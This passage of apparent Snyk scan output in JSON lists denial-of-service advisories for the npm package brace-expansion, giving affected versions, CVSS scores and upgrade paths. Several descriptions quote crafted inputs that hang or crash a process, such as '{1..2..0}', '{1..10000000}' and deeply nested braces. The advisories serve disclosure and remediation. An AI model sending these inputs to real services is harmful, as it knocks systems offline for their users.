"v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", 